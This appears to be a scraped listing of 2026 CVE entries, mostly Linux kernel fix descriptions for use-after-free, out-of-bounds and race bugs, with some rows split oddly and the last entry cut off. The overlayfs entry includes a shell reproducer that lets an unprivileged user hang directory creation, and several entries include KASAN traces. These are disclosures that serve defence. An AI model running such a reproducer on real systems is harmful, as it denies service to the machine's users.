CVE-2026-80975	In the Linux kernel, the following vulnerability has been resolved: mfd: qnap-mcu: keep the reply buffer alive past a command timeout qnap_mcu_exec() publishes an on-stack buffer to the receive path: unsigned char rx[QNAP_MCU_RX_BUFFER_SIZE]; ... reply->data = rx; reply->length = length; and qnap_mcu_receive_buf() writes into it from the serdev receive path, which runs out of flush_to_ldisc() and is not serialized against qnap_mcu_exec() at all. bus_lock cannot cover it, because qnap_mcu_exec() holds that mutex across wait_for_completion_timeout(). On a timeout qnap_mcu_exec() returns with reply->data still pointing at its own frame. A reply that arrives late, or an unsolicited message from the MCU, is then written into a stack frame that has been left, corrupting whatever runs next on that stack. The same applies when qnap_mcu_write() fails, since that path returns without touching the reply state either. Move the receive buffer into struct qnap_mcu. It is 37 bytes and the structure is devm_kzalloc()ed, so it lives as long as the driver, and a late write lands in memory that is still valid and is reinitialized by the next command. bus_lock keeps commands from sharing it. This deliberately does not clear reply->data or reply->length on the timeout path. Doing so races with qnap_mcu_receive_buf(), which reads both after its if (!reply->length) return size; check: clearing reply->data gives a NULL dereference, and clearing reply->length alone removes the reply->received == reply->length exit condition, so the copy loop runs until the uart chunk is consumed and overruns the buffer. Leaving both set keeps the write bounded by reply->length, which qnap_mcu_exec() has already checked against sizeof(mcu->rx).	7.8	More Details
CVE-2026-21090	Out-of-bounds write in libsaviextractor.so prior to SMR Sep-2026 Release 1 allows local attackers to write out-of-bounds memory.	7.8	More Details
CVE-2026-80982	In the Linux kernel, the following vulnerability has been resolved: net/smc: fix use-after-free in smc_rx_pipe_buf_release() smc_rx_splice() hands RMB pages to a pipe and takes a socket reference per entry so the smc_sock stays alive until the reader finishes. The connection does not: a concurrent close runs smc_conn_free(), which releases the receive buffer back to the link group pool. smc_rx_pipe_buf_release() tests sk_state before taking the socket lock. The state can change between the test and the lock, and smc_rx_update_cons() then dereferences conn->rmb_desc and walks conn->lgr, which smc_conn_free() has already released. On the is_reg_err path smcr_buf_unuse() frees the descriptor outright, so this is a use-after-free. Take the socket lock first and test conn->freed instead. smc_conn_free() sets that flag before releasing anything, and every caller holds the socket lock. The two paths exclude each other: either the pipe release runs first with everything valid, or it sees the flag and skips the update.	7.8	More Details
CVE-2026-89767	In the Linux kernel, the following vulnerability has been resolved: ovl: fix double end_creating() on the casefold-mismatch path ovl_create_real() releases the new dentry twice when the casefold consistency check fails. The S_IFDIR branch calls end_creating() and sets err, then falls through to the common out: label which calls end_creating() on the same dentry again: case S_IFDIR: newdentry = ovl_do_mkdir(ofs, dir, newdentry, attr->mode); err = PTR_ERR_OR_ZERO(newdentry); if (!err && ofs->casefold != ovl_dentry_casefolded(newdentry)) { pr_warn_ratelimited(...); end_creating(newdentry); /* first */ err = -EINVAL; } break; ... if (err) goto out; ... out: if (err) { end_creating(newdentry); /* second, same dentry */ return ERR_PTR(err); } end_creating() is end_dirop(), which does inode_unlock() on the parent and dput() on the dentry, so the parent directory's i_rwsem is unlocked twice and the dentry is put twice. The second unlock releases a lock that is not held, which is what wedges every later creation under that parent, and the second dput() drops a reference that was never taken. The branch was added by commit dfc7da402ccc ("ovl: Check for casefold consistency when creating new dentries") as a bare dput(), which already released the reference twice; commit fe497f0759e0 ("VFS: change vfs_mkdir() to unlock on failure.") converted both sites to end_creating(), adding the double unlock. This is reachable by an unprivileged user. The casefold consistency of the layers is validated at mount time in ovl_parse_layer(), and again on every lookup in ovl_lookup_single(), but ofs->workdir is the internal "work" subdirectory created inside the user-supplied workdir, and that subdirectory is not re-checked. Marking it casefolded after the mount therefore makes every ovl_create_temp() inherit the wrong state - and that path reaches ovl_create_real() through ovl_start_creating_temp(), which uses start_creating() with a generated name and so never runs the lookup-time check. unshare -Urm mount -t tmpfs -o casefold=utf8-12.1.0 tmpfs mnt mkdir -p mnt/lower/d mnt/upper mnt/work mnt/merged mount -t overlay ovl -o lowerdir=mnt/lower,\ upperdir=mnt/upper,workdir=mnt/work	7.8	More Details

	mnt/merged chattr +F mnt/work/work mkdir mnt/merged/d/sub # directory copy-up overlayfs: wrong inherited casefold (work/#5) and the next copy-up blocks forever on the parent's i_rwsem: mkdir D start_creating+0x65/0xb0 ovl_start_creating_temp+0xb0/0xe0 [overlay] ovl_create_temp+0xa3/0x1d0 [overlay] ovl_copy_up_one+0x1f1c/0x21c0 [overlay] ovl_copy_up_flags+0xf5/0x140 [overlay] ovl_create_object+0xb7/0x220 [overlay] ovl_mkdir+0x23/0x40 [overlay] Drop the end_creating() from the branch and let out: own the cleanup, which is what every other error path in this function already does.		
CVE-2026-80950	In the Linux kernel, the following vulnerability has been resolved: i3c: renesas: Check that the transfer is valid before accessing it The Renesas I3C driver uses an asynchronous model to transfer data. It prepares a struct renesas_i3c_xfer, enqueues it, and waits for completion. The interrupt handler dequeues the transfer, updates/uses it, and signals the waiting thread. If the completion times out, the waiting thread dequeues the transfer and free it. If an interrupt fires after that, the handler may access freed memory, leading to crashes. Check that the transfer is still valid before accessing it in the interrupt handler. With it clear any status flags and disable all the interrupts to avoid triggering the same interrupts again.	7.8	More Details
CVE-2026-80979	In the Linux kernel, the following vulnerability has been resolved: net/smc: unregister the connection before draining the rx tasklet smc_conn_free() calls smc_ism_unset_conn() only while the link group is still on its device list, and never sets conn->killed. smc_lgr_terminate_sched() unlinks the group immediately and defers killing its connections to a work item, so a connection freed in that window keeps its smcd->conn[] slot with both gates in smcd_handle_irq() open, and the device can re-arm the receive tasklet after tasklet_kill() has returned. On the DMB-nocopy path the ghost send buffer is freed right after that drain, so the re-armed tasklet dereferences it. Unregister unconditionally and drain before the detach at both teardown sites, mirroring rmb_desc, which smc_buf_unuse() releases after the drain. Clear conn->sndbuf_desc before freeing it as well, so a reader that samples the pointer cannot get one that is already freed.	7.8	More Details
CVE-2026-89742	In the Linux kernel, the following vulnerability has been resolved: rapidio: mport_cdev: fix use-after-free in dma_req_free() dma_req_free() acquires buf_mutex through req->map, drops the mapping reference with kref_put(), and then dereferences req->map again to unlock the mutex. If kref_put() drops the last reference, mport_release_mapping() frees the mapping, and the subsequent mutex_unlock() dereferences a freed object. This is a use-after-free. Fix this by caching map and md before kref_put(), clearing req->map while holding buf_mutex, and using the cached md for mutex unlocking. The bug is reachable from userspace via the RapidIO mport character device interface.	7.8	More Details
CVE-2026-80978	In the Linux kernel, the following vulnerability has been resolved: net: cap advertised IP tunnel headroom IP tunnel devices derive their advertised needed_headroom from lower output devices. A stack of user-created devices can make the derived value larger than the 16-bit skb header offsets can represent. Once IP output reserves it, skb head expansion can wrap those offsets. The runtime transmit path already caps a growing needed_headroom at 512. Apply the same cap when tunnel configuration publishes needed_headroom derived from a lower output device. Capping the advertised value is safe: IP tunnel transmit still expands the skb when a packet needs more headroom. A nonsensical stacked configuration can therefore incur an extra reallocation, but it cannot publish an unbounded reservation to upper layers.	7.8	More Details
CVE-2026-80954	In the Linux kernel, the following vulnerability has been resolved: i3c: Fix unlocked dereference of dev->desc in i3c_device_get_supported_xfer_mode() i3c_device_get_supported_xfer_mode() uses dev->desc to obtain the master controller. However, dev->desc must not be dereferenced unless bus->lock is held, and this function does not take that lock. The function only needs access to the master controller associated with the device's bus. Use dev->bus instead, which is always valid for the lifetime of the device and does not require dereferencing dev->desc.	7.8	More Details
CVE-2026-80936	In the Linux kernel, the following vulnerability has been resolved: wifi: mt76: mt7925: cancel mlo_pm_work on stop mt7925 queues mlo_pm_work with a 5 second delay during multi-link power-save setup and never cancels it on the stop path. If the device is torn down inside that window, the work outlives the teardown and its timer fires afterwards, trying to queue onto the workqueue that is already gone: workqueue: cannot queue mt7925_mlo_pm_work [mt7925_common] on wq phy0 WARNING: kernel/workqueue.c:2283 at __queue_work+0x59/0xa0, CPU#1: swapper/1/0 call_timer_fn+0x2a/0x140 __run_timers+0x203/0x330 run_timer_softirq+0x86/0xf0 mt7921 already has its own stop callback, so add one for mt7925 that cancels the work before calling mt792x_stop(). mt7925_ops backs both the PCIe and USB drivers, so this covers both.	7.8	More Details
CVE-2026-80955	In the Linux kernel, the following vulnerability has been resolved: dm-pcache: fix use-after-free and invalid seg operations in kset_replay() In kset_replay, when key->seg_gen is stale (key->seg_gen < key->cache_pos.cache_seg->gen), cache_key_put(key) is called but then key->cache_pos.cache_seg is accessed as the argument to cache_seg_get(). This is a use-after-free on the freed key memory. Although mempool recycled memory is not immediately reclaimed or overwritten in practice, this is still a potential UAF bug. Additionally, for expired invalid keys, setting the cache->seg_map bit and calling cache_seg_get() is unreasonable since the corresponding segment data is no longer valid. Fix both issues by moving cache_seg_get() and __set_bit() after the gen check, so they only execute for valid keys, and using continue to skip invalid keys.	7.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: Revert "media: v4l2-dev: fix error handling in __video_register_device()" This reverts commit 2a934fdb01db6458288fc9386d3d8ceba6dd551a. The		

CVE-2026-89741	intentions of that patch were good, but it doesn't work. The idea is that if device_register fails, you have to do a put_device to let the ref counter release resources. However, the V4L2 API says that if video_register_device() fails, then you have to call video_device_release(), which kfree()s the video_device struct. But the put_device() will already have freed the struct, so you end up in a double-free scenario. There is not really a good way of fixing this without breaking video_register_device() into two parts, one that initializes everything, and one that does the actual device_register, and then converting all V4L2 drivers to this new model. That is a massive job, and it is very unlikely that device_register will fail. So rather than ending up in a double-free scenario, just revert this patch, and in that case we'll have a small memory leak. Which is a lot more robust.	7.8	More Details
CVE-2026-80977	In the Linux kernel, the following vulnerability has been resolved: net: skbuff: don't touch shared zerocopy state in skb_tx_error() skb_tx_error() completes the zerocopy uarg and clears SKBFL_ALL_ZEROCOPY, and skb_zcopy_downgrade_managed() clears SKBFL_MANAGED_FRAG_REFS. Both live in skb_shinfo(), which every clone shares, while the caller only owns the reference it is about to drop. Through a clone it tells the producer its pages are free and drops SKBFL_SHARED_FRAG for an skb that is still in flight. Open vSwitch reaches this with a non-last OVS_ACTION_ATTR_RECIRC: clone_execute() sends a skb_clone() into ovs_dp_process_packet() while do_execute_actions() keeps forwarding the original, and skb_clone() does not privatise the frags here -- skb_orphan_frags() returns early on SKBFL_DONT_ORPHAN. A flow miss on the clone then strips the marker from the packet still being forwarded, and a later local ESP delivery decrypts in place over frags it does not own privately. Skip it for a cloned skb. Nothing is lost: skb_release_data() clears the zerocopy state once the last reference to the shared data goes.	7.8	More Details
CVE-2026-89738	In the Linux kernel, the following vulnerability has been resolved: usb: gadget: at91_udc: drain polled-VBUS timer/work before udc is freed In polled-VBUS mode (board.vbus_pin && board.vbus_polled), probe arms a self-restarting cycle: at91_vbus_timer() schedules vbus_timer_work, and at91_vbus_timer_work() calls at91_vbus_update() and re-arms the timer via mod_timer(). Both recover the same udc through container_of and dereference it on every iteration. Neither teardown path cancels this cycle. udc is devm-allocated, so it is freed after at91udc_remove() returns, and is likewise freed when probe fails and devres runs. A timer callback or work item that is pending or running at either point dereferences the freed udc. Add at91_udc_shutdown_vbus_timer() and call it from at91udc_remove() and from the usb_add_gadget_udc() failure path in probe; the remaining probe error paths fail before the timer is armed. timer_shutdown_sync() waits for a running callback and clears timer->function, which makes the work handler's mod_timer() a permanent no-op; cancel_work_sync() then drains any pending or running work whose re-arm attempt now does nothing. The timer must be shut down first, since cancelling the work alone would let the timer re-queue it. The guard mirrors probe: in IRQ mode the timer and work_struct are never initialized. This does not require a fault; a normal driver unbind can interleave with an already queued work item. This issue was found by an in-house static analysis tool.	7.8	More Details
CVE-2026-21088	Improper input validation in loading a subtitle frame in libsubextractor.so prior to SMR Sep-2026 Release 1 allows local attackers to write out-of-bounds memory.	7.8	More Details
CVE-2026-80959	In the Linux kernel, the following vulnerability has been resolved: dm-pcache: bound the persisted tail-position offset cache_pos_decode() takes the persisted key_tail and dirty_tail seg_off from the cache device and addresses within the segment with it. A seg_off at or past the segment data_size, controllable by whoever supplies the device (CAP_SYS_ADMIN), reads past the segment data. Reject a decoded seg_off that is not below the segment data_size.	7.8	More Details
CVE-2026-80971	In the Linux kernel, the following vulnerability has been resolved: ALSA: bcd2000: clear the URB pointers on disconnect bcd2000_free_usb_related_resources() frees both URBs and leaves the pointers behind: usb_kill_urb(bcd2k->midi_out_urb); usb_kill_urb(bcd2k->midi_in_urb); usb_free_urb(bcd2k->midi_out_urb); usb_free_urb(bcd2k->midi_in_urb); The rawmidi device outlives that call. A substream that is still open when the device is unplugged reaches bcd2000_midi_send() from the trigger path on close. That function writes to the freed URB and then hands it to the USB core: bcd2k->midi_out_urb->transfer_buffer_length = BUFSIZE; ... ret = usb_submit_urb(bcd2k->midi_out_urb, GFP_ATOMIC); usb_kill_urb() does not stop a later submission either, so a submit that races the disconnect can requeue the URB after it has been reaped. midi_in_urb is exposed the same way: bcd2000_input_complete() resubmits it from the completion handler. KASAN on 7.2.0-rc5 (arm64): BUG: KASAN: slab-use-after-free in bcd2000_midi_send [snd_bcd2000] Write of size 4 at addr ffff00001827d388 by task bpoc/168 __asan_store4 bcd2000_midi_send [snd_bcd2000] bcd2000_midi_output_trigger [snd_bcd2000] snd_rawmidi_kernel_write1 close_substream.part.0 Freed by task 168: usb_free_urb bcd2000_disconnect [snd_bcd2000] BUG: KASAN: slab-use-after-free in usb_submit_urb Read of size 8 at addr ffff00001827d3b8 by task bpoc/168 Clear both pointers after freeing and test them on the paths that can still run. Poison the URBs before freeing them: usb_poison_urb() waits for a running completion handler and rejects any later submission, so after it returns the input path is quiesced and only the rawmidi trigger path can still reach bcd2000_midi_send(). No unpoison is needed; the URBs are freed on the next line. Discovered by XBOW, triaged by Baul Lee <baul.lee@xbow.com>	7.8	More Details
CVE-	In the Linux kernel, the following vulnerability has been resolved: usb: gadget: u_audio: Fix use-after-free on sound card disconnect g_audio_cleanup() invokes snd_card_free_when_closed() to initiate sound card teardown and immediately frees the underlying struct snd_uac_chip context. However, snd_card_free_when_closed() returns asynchronously while ALSA control elements (kctls) remain open in		

2026-89736	userspace. When userspace control applications access or close these open file descriptors, kctl callbacks attempt to dereference kctl->private_data pointing to &uac->c_prm or &uac->p_prm within the freed uac structure, resulting in a use-after-free (UAF) memory corruption. Fix this issue by deferring the destruction of struct snd_uac_chip until all references to the ALSA sound card are released. Register a custom card->private_free callback (u_audio_card_free) during g_audio_setup() that frees uac and its associated playback/capture request and ring buffers only when the sound card reference count drops to zero.	7.8	More Details
CVE-2026-80961	In the Linux kernel, the following vulnerability has been resolved: dm-pcache: validate kset key_num and intra-segment bounds Two more fields decoded from the cache device go unbounded. The kset key_num drives cache_kset_crc() and the replay loop in cache_replay(), the writeback worker and the GC worker, but only the magic and a fixed-seed CRC are checked first, so a non-last kset whose key_num exceeds the PCACHE_KSET_KEYS_MAX buffer reads past its end before the CRC compare. A key's intra-segment offset and length in cache_key_decode() are taken verbatim, so a key running past its segment is replayed into the cache tree and the data CRC check and every later read hit then copy adjacent persistent memory into the caller's bio -- an out-of-bounds read that leaks to user space. Both fields are controlled by whoever supplies the cache device (CAP_SYS_ADMIN); the CRC seed is public. Add kset_onmedia_valid() to bound key_num before any kset read, and reject a key whose offset plus length, computed in 64 bits, exceeds the segment data_size. Valid metadata is unaffected.	7.8	More Details
CVE-2026-89723	In the Linux kernel, the following vulnerability has been resolved: nilfs2: fix slab-out-of-bounds in nilfs_direct_propagate after truncation Shuangpeng Bai reported that KASAN detected a slab-out-of-bounds error in nilfs_direct_propagate() during testing. Analysis revealed that after truncating a file, a node block immediately below the B-tree root was not deleted. Instead, it remained in the B-tree node cache in a dirty state. The log writer subsequently detected this block and incorrectly invoked nilfs_direct_propagate() on it, which is designed to handle only data blocks in direct mapping. B-tree nodes in the cache are managed by virtual block numbers, and their logical keys typically exceed the range expected by direct mapping. Consequently, processing such a node as a direct mapping entry triggers a slab-out-of-bounds access. The root cause is that when a B-tree mapping collapses into a direct mapping during truncation, an intermediate node block pointed to by the root node is left behind as garbage instead of being explicitly deleted. This resolves the issue by adding a nilfs_btree_discard() operation to delete the remaining intermediate node block during the conversion. A 'deform' flag is added to the bop_delete interface to explicitly signal that the deletion is part of a mapping transformation. This allows the B-tree mapping implementation to perform the necessary cleanup and discarding of the residual node structure that would be otherwise be left orphaned after the transition.	7.8	More Details
CVE-2026-89724	In the Linux kernel, the following vulnerability has been resolved: media: vicodec: fix out-of-bounds write in FWHT encoder vidioc_s_fmt_vid_out() sizes the encoder CAPTURE buffer from the compressed descriptor pixfmt_fwht, whose sizeimage_mult is 3: coded_w * coded_h * 3 + sizeof(struct fwht_cframe_hdr). fwht_encode_frame() encodes one plane per component, and an incompressible plane takes the FWHT_FRAME_UNENCODED path in encode_plane(), copying the plane verbatim. For a 4-component pixel format all four planes are full resolution (width_div == height_div == 1), so a frame that forces every plane through the unencoded fallback writes sizeof(struct fwht_cframe_hdr) + 4 * coded_w * coded_h bytes, overrunning the plane by coded_w * coded_h, which can result in corruption of adjacent kernel heap memory. Bump pixfmt_fwht.sizeimage_mult from 3 to 4, matching the largest components_num among the supported raw formats, so the capture buffer is always large enough for the unencoded fallback.	7.8	More Details
CVE-2026-89748	In the Linux kernel, the following vulnerability has been resolved: tracing: Fix retry exhaustion in simple ring buffer reader swap simple_ring_buffer_swap_reader_page() starts with retry set to 8 and post-decrements it only after a failed link replacement. On the final attempt, a successful replacement leaves retry at zero, while a failed replacement leaves it at -1. The current !retry test reverses both outcomes. It returns an error after a successful final replacement, leaving the link update complete but the reader bookkeeping unfinished. After a failed final replacement, it falls through and updates the head and reader pointers as though the replacement succeeded, which can corrupt the ring. Treat only a negative counter as exhaustion and return the documented -EBUSY error.	7.8	More Details
CVE-2026-89733	In the Linux kernel, the following vulnerability has been resolved: usb: gadget: uvc: fix dangling pointers in uvc_function_bind() and uvc_function_unbind() In uvc_function_bind() error path, we use usb_ep_free_request which uses uvc->control_req but does not set it to NULL afterwards. Thus, uvc->control_req is a dangling pointer causing a UAF. Also we do not set the uvc->control_buf pointer to NULL after freeing it, which is another dangling pointer. Fix it by setting uvc->control_req to NULL after we run usb_ep_free_request() and uvc->control_buf to NULL after kfree. Do the same for uvc_function_unbind().	7.8	More Details
CVE-2026-89750	In the Linux kernel, the following vulnerability has been resolved: tracing/user_events: Clear copied tracing state before fork duplication dup_task_struct() copies user_event_mm from the parent into the child, without grabbing a reference to it. user_event_mm_dup() should replace it, but it leaves that copied pointer unmodified if user_event_mm_alloc() fails. When the child exits, user_event_mm_remove() decrements a reference the child never owned, which ultimately frees user_event_mm, while the parent still as a stale pointer to it. This creates a UAF, which KASAN reports as: BUG: KASAN: slab-use-after-free in current_user_event_mm+0x51/0x1d0 Write of size 4 at addr ffff888005010d30 by task init/44 Call Trace: <TASK> kasan_report+0xce/0x100 kasan_check_range+0x10f/0x1e0 current_user_event_mm+0x51/0x1d0 user_events_ioctl+0x82e/0x15c0 __x64_sys_ioctl+0x139/0x1c0 do_syscall_64+0xce/0x450	7.8	More Details

	entry_SYSCALL_64_after_hwframe+0x77/0x7f Allocated by task 44: __kasan_kmalloc+0x8f/0xa0 __kmalloc_cache_noprof+0x180/0x3a0 user_event_mm_alloc+0x3c/0x1f0 current_user_event_mm+0x88/0x1d0 Freed by task 42: __kasan_slab_free+0x43/0x70 kfree+0x13a/0x390 process_one_work+0x696/0xf90 worker_thread+0x420/0xba0 The fix simply clears the copied pointer before any possible failure. In case of failure, the child then has nothing to free.		
CVE-2026-80962	In the Linux kernel, the following vulnerability has been resolved: dm-pcache: validate geometry fields from on-disk cache_info cache_segs_init() iterates cache_info->n_segs times indexing cache->segments[], which is sized to the cache device geometry, and get_seg_id() takes each segment id from the on-media cache_info and the per-segment next_seg link. Both come from cache device metadata that is only CRC-protected with a fixed public seed, so whoever supplies the cache device on a table load (CAP_SYS_ADMIN) controls them: an oversized n_segs or an out-of-range id drives an out-of-bounds access of cache->segments[] and a wild CACHE_DEV_SEGMENT() pointer into the device mapping -- an out-of-bounds read and write from on-disk data. Reject an n_segs that exceeds the device segment count and a segment id that is out of range before either is used. Valid metadata is unaffected.	7.8	More Details
CVE-2026-89755	In the Linux kernel, the following vulnerability has been resolved: mm/migrate_device: clear stale mapping after freeing swapcache __migrate_device_pages() reads the folio mapping before calling folio_free_swap(). When folio_free_swap() succeeds, the folio is removed from the swap cache, but the saved mapping still points to swap_space. Passing the stale mapping to folio_migrate_mapping() makes it use the mapped-folio path for a folio that is no longer in swapcache. It can then operate on swap_space.i_pages with invalid reference accounting, eventually triggering a folio reference count BUG. After a successful split, nr still contains the number of pages in the original large folio, although each resulting page is now a separate order-0 folio. Reset nr to 1 so each split folio is processed separately, including its own swapcache removal and mapping lookup. Refresh the saved mapping after folio_free_swap() so the current folio state is used during migration.	7.8	More Details
CVE-2026-89771	In the Linux kernel, the following vulnerability has been resolved: ring-buffer: Fix subbuf resize race with ring buffer readers trace_buffer subbuf_size is read lockless in ring_buffer_read_page() and ring_buffer_read_start(), while it can simultaneously be resized with ring_buffer_subbuf_order_set(). Instead of trace_buffer::subbuf_size, use bpage::order in ring_buffer_read_start() and ring_buffer_read_page(). In ring_buffer_read_start(), even with resize_disabled, there is still a possibility of a race with a buffer modification. Hold the trace_buffer mutex to synchronise with any pending ring buffer order modification. trace_buffer::subbuf_size is now actually useless, remove it. Also, create accessors rb_subbuf_capacity() and rb_page_capacity() which return the actual size available for storing events, while rb_subbuf_size() returns the actual subbuf page-size.	7.8	More Details
CVE-2026-21089	Improper input validation in removing style tag in libsubextractor.so prior to SMR Sep-2026 Release 1 allows local attackers to write out-of-bounds memory.	7.8	More Details
CVE-2026-21091	Out-of-bounds write in libcodec2secevrcdec.so prior to SMR Sep-2026 Release 1 allows local attackers to write out-of-bounds memory.	7.8	More Details
CVE-2026-89754	In the Linux kernel, the following vulnerability has been resolved: mm/pagewalk: fix stale walk->action escaping walk_pmd_range() If ->pmd_entry() sets walk->action = ACTION_AGAIN, the pmd_none() check is retried. The PMD entry may be cleared at the point of retry. In this case, if walk->ops->install_pte is not specified, the code continues to the next PMD entry in the range without resetting walk->action to ACTION_SUBTREE. This leaves walk->action erroneously set to ACTION_AGAIN, which is incorrect. This was incorrect but not problematic up until commit 3b89863c3fa4 ("mm/pagewalk: fix race between concurrent split and refault") which updated walk_pud_range() to check for walk->action == ACTION_AGAIN upon walk_pmd_range()'s return, causing the PUD walk to be retried. In this case this results in duplicate walk callbacks being invoked, which is erroneous and will break any caller that is not idempotent with respect to this (and waste time for those which are). The result is an out-of-bounds write, triggered by a local fuzzer: [2.272695] == [2.273471] BUG: KASAN: slab-out-of-bounds in __mincore_unmapped_range+0x14f/0x190 [2.274302] Write of size 1 at addr ffff888008d9b000 by task poc/106 [2.274966] [2.275154] CPU: 0 UID: 1000 PID: 106 Comm: poc Not tainted 7.2.0-rc6-00429-ga7c7074b58d2 #55 PREEMPT(lazy) [2.275159] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [2.275164] Call Trace: [2.275170] <TASK> [2.275172] dump_stack_lvl+0x53/0x70 [2.275200] print_report+0xd0/0x630 [2.275210] ? __pfx__raw_spin_lock_irqsave+0x10/0x10 [2.275219] ? irqentry_exit+0xd2/0x670 [2.275224] ? irqentry_exit+0xd2/0x670 [2.275226] ? __virt_addr_valid+0xef/0x1a0 [2.275239] ? __mincore_unmapped_range+0x14f/0x190 [2.275242] kasan_report+0xce/0x100 [2.275245] ? __mincore_unmapped_range+0x14f/0x190 [2.275248] __mincore_unmapped_range+0x14f/0x190 [2.275252] mincore_unmapped_range+0x45/0x70 [2.275254] walk_pgd_range+0xafc/0xfc0 [2.275261] ? __pfx_walk_pgd_range+0x10/0x10 [2.275264] ? __update_load_avg_se+0x3d1/0x670 [2.275275] __walk_page_range+0xc0/0x310 [2.275278] ? __pfx_find_vma+0x10/0x10 [2.275281] ? finish_task_switch.isra.0+0x16d/0x4f0 [2.275290] walk_page_range_mm_unsafe+0x26f/0x3a0 [2.275293] ? __pfx_mtree_load+0x10/0x10 [2.275298] ?	7.8	More Details

	__pfx_walk_page_range_mm_unsafe+0x10/0x10 [2.275302] ? __free_frozen_pages+0x54d/0x7e0 [2.275308] __do_sys_mincore+0x132/0x380 [2.275311] do_syscall_64+0xf9/0x540 [2.275316] entry_SYSCALL_64_after_hwframe+0x77/0x7f [2.275322] RIP: 0033:0x422ccd [2.275326] Code: b3 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48 [2.275329] RSP: 002b:00007fffffffec18 EFLAGS: 00000287 ORIG_RAX: 000000000000001b [2.275337] RAX: ffffffffffffffda RBX: 0000000000000066 RCX: 0000000000422ccd [2.275339] RDX: 00000000004d0940 RSI: 0000000001000000 RDI: 00007ffff4000000 [2.275340] RBP: 00000000004d0940 R08: 0000000000000100 R09: 0000000000000100 [2.275342] R10: 0000000000000100 R11: 0000000000000287 R12: 20c49ba5e353f7cf [2.275343] R13: 00000000004990d3 R14: 0000000000000000 R15: 0000000000000001 [2.275346] </TASK> [2.275347] [2.296904] The buggy address belongs to the object at ffff888008d9b000 [2.296904] which belongs to the cache sigqueue of size 80 [2.298151] The buggy address is located 0 bytes inside of [2.298151] allocated 80-byte region [ffff888008d9b000, ffff888008d9b050) [2.299408] [2.299601] The buggy address belongs to the physical page: [2.300191] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x8d9b ---truncated---		
CVE-2026-80947	In the Linux kernel, the following vulnerability has been resolved: wifi: rtl8xxxu: fix use-after-free from rx_urb_wq on stop rtl8xxxu arms rx_urb_wq from the RX completion path: rtl8xxxu_rx_complete() hands the URB to rtl8xxxu_queue_rx_urb(), which queues it on rx_urb_pending_list and, once the list grows past RTL8XXXU_RX_URB_PENDING_WATER, schedules rx_urb_wq. The worker rtl8xxxu_rx_urb_work() drains rx_urb_pending_list, recovers priv through container_of, and resubmits each URB through rtl8xxxu_submit_rx_urb(), which anchors it on rx_anchor and dereferences priv->udev. rtl8xxxu_stop() cancels the sibling work items (c2hcmd_work, ra_watchdog, update_beacon_work) but never cancels rx_urb_wq, so a worker armed during the last burst of RX traffic can run rtl8xxxu_rx_urb_work() after rtl8xxxu_disconnect() has called ieee80211_free_hw(), which frees priv, producing a use-after-free. The window opens under active RX traffic (pending count above the watermark) followed by a disconnect. There are two teardown races to close: * rtl8xxxu_queue_rx_urb() decided whether to enqueue under rx_urb_lock but called schedule_work() after dropping the lock. A completion that observed shutdown == false and released the lock could then call schedule_work() after rtl8xxxu_stop() had set shutdown and cancel_work_sync() had already returned, arming the worker to run after the teardown. Move schedule_work() under the same !shutdown branch so the arming decision is atomic with the shutdown check. * rtl8xxxu_rx_urb_work() anchors every URB it drained back onto rx_anchor through rtl8xxxu_submit_rx_urb(). A worker still running when usb_kill_anchored_urbs(&priv->rx_anchor) returned would submit a URB that escaped the kill. In rtl8xxxu_stop(), call cancel_work_sync(&priv->rx_urb_wq) before the kill so the worker is drained first. After priv->shutdown is set under rx_urb_lock, completions can no longer queue rx_urb_wq. cancel_work_sync() then drains the last queued or running worker, and the following usb_kill_anchored_urbs() kills the URBs it may have submitted. rtl8xxxu_disconnect() is covered because ieee80211_unregister_hw() guarantees .stop() runs for a live interface before ieee80211_free_hw() frees priv. The probe error path needs no cancel: rx_urb_wq is INIT_WORK()'d there but cannot have been scheduled, since no URB is submitted before ieee80211_register_hw() succeeds. This bug was found by static analysis.	7.8	More Details
CVE-2026-8303	Incorrect privilege assignment vulnerability in TUBITAK BILGEM Software Technologies Research Institute Pardus-software allows Privilege Escalation. This issue affects Pardus-software: before 1.0.5.	7.8	More Details
CVE-2026-21087	Out-of-bounds write in libmdnie.so prior to SMR Sep-2026 Release 1 allows local attackers to execute arbitrary code with system server privilege.	7.8	More Details
CVE-2026-89761	In the Linux kernel, the following vulnerability has been resolved: apparmor: fix out-of-bounds write when null terminating a label vec aa_vec_unique() null terminates at vec[n - dups] when VEC_FLAG_TERMINATE is passed. If the components are all distinct no duplicates are dropped, dups is 0 and the terminator goes to vec[n], so the caller has to provide room for n + 1 entries. aa_label_strn_parse() sets up its vector with vec_setup(profile, vec, len, gfp) and then calls aa_vec_unique(vec, len, VEC_FLAG_TERMINATE), but vec_setup() does not reserve the terminator entry. Up to LOCAL_VEC_ENTRIES it uses the local array of LOCAL_VEC_ENTRIES pointers, above that it allocates exactly len pointers. The terminator therefore lands one entry past the end of the local array when len is LOCAL_VEC_ENTRIES, and one entry past the end of the allocation when len is larger. len comes from the number of "//&" separated components in the label name and label_count_strn_entries() does not bound it. An unprivileged task reaches the parse by writing to /proc/self/attr/apparmor/current or through lsm_set_self_attr(2), both of which go through do_setattr(), and the name is parsed before the change_profile permission is checked. The query_label() path behind the securityfs .access file, which is mode 0666, performs no permission check at all. Every component has to resolve to a loaded profile, so a system with policy loaded is required. The other two VEC_FLAG_TERMINATE users work on a label vec that aa_label_alloc() has already sized with "+ 1 for null terminator entry on vec". Reserve the same entry in vec_setup() and DEFINE_VEC(). Passing len + 1 from the caller instead would move len == LOCAL_VEC_ENTRIES out of the local array and into kzalloc().	7.8	More Details
	In the Linux kernel, the following vulnerability has been resolved: apparmor: fix cred UAF caused by begin_current_label_crit_section() AppArmor's begin_current_label_crit_section() is a scary function called from lots of LSM hooks (in particular VFS/socket-related ones) that checks if the label referenced by the current creds is marked FLAG_STALE, and if so, attempts to use aa_replace_current_label() to replace the		

